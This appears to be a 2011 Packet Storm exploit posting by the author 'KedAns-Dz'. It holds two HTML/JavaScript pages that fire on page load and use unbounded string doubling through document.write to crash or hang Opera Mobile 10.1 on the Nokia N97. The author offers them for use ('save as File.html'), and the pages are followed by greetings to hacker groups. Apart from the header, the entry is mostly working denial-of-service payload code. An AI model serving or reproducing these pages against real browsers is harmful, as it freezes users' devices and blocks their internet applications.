Opera Mobile 10.1 In Nokia N97 Buffer Overflow

2011-03-14T00:00:00
ID PACKETSTORM:99285
Type packetstorm
Reporter KedAns-Dz
Modified 2011-03-14T00:00:00

Description

                                        
                                            `######  
# Title : Opera Mobile v10.1 (in Nokia N97) Buffer Overflow  
# Author : KedAns-Dz  
# E-mail : ked-h@hotmail.com  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter page : twitter.com/kedans  
# platform : hardware   
# Impact : Overflow & Blocked All Applications Internet-Browsers  
# Tested on : Opera Mobile v10.1 (in Nokia N97 v 22.0.110)  
# Target : Nokia N97 v 22.0.110 ( Type RM-505) Mobile  
######  
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
######  
# After seeing the bugs :   
# 1 - http://exploit-db.com/exploits/12491 " By Inj3ct0r Team  
# 2 - http://exploit-db.com/exploits/12493 " By Dr_IDE  
######  
  
#================ HTML (1) ==>>  
  
<html>  
<head>  
<body onload="javascript:DoS();"></body>  
<script>  
function DoS() {  
var buffer = '\x42';  
for (i =0;i<666;i++) {  
buffer+=buffer+'\x42';  
document.write('<html><marquee><h1>'+buffer+buffer);  
}  
}  
</script>  
</head>  
</html>  
  
#================ HTML (2) ==>>  
  
<html>  
<head>  
<script>  
function boom()  
{  
var longunistring1 = unescape("%u4141%u4141");  
var longunistring2 = unescape("%u4242%u4242");  
var longunistring3 = unescape("%u4343%u4343");  
var longunistring4 = unescape("%u4444%u4444");  
for(i=0; i <= 60 ; ++i)   
{  
longunistring1+=longunistring1;  
longunistring2+=longunistring2;  
longunistring3+=longunistring3;  
longunistring4+=longunistring4;  
document.write(longunistring1);  
document.write(longunistring2);  
document.write(longunistring3);  
document.write(longunistring4);  
}   
document.write(longunistring1);  
document.write(longunistring2);  
document.write(longunistring3);  
document.write(longunistring4);  
}  
</script>  
</head>  
<body onLoad="boom()"></body>  
</html>  
  
  
# You are Can Choice any Code HTML and save as 'File.html' and Testing in N97  
  
# Thanks To : ' Inj3ct0r Team ' & ' Dr_IDE '   
  
#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================  
# Special Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX   
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# [ Special Greets to '3em GE Class' & all 3Se Pupils , BACALORIA 2011 Enchallah   
# Messas Secondary School - Ain mlilla - 04300 - Algeria ] ,  
# Greets All My Friends (cité 1850 logts - HassiMessaouD - 30008 -Algeria ) ,  
# ThanX : (hotturks.org) TeX * KadaVra ... all Muslimised Turkish Hackers .  
# ThanX to : Kelvin.Xgr (kelvinx.net) Vietnamese Hacker .  
#===============================================================================  
`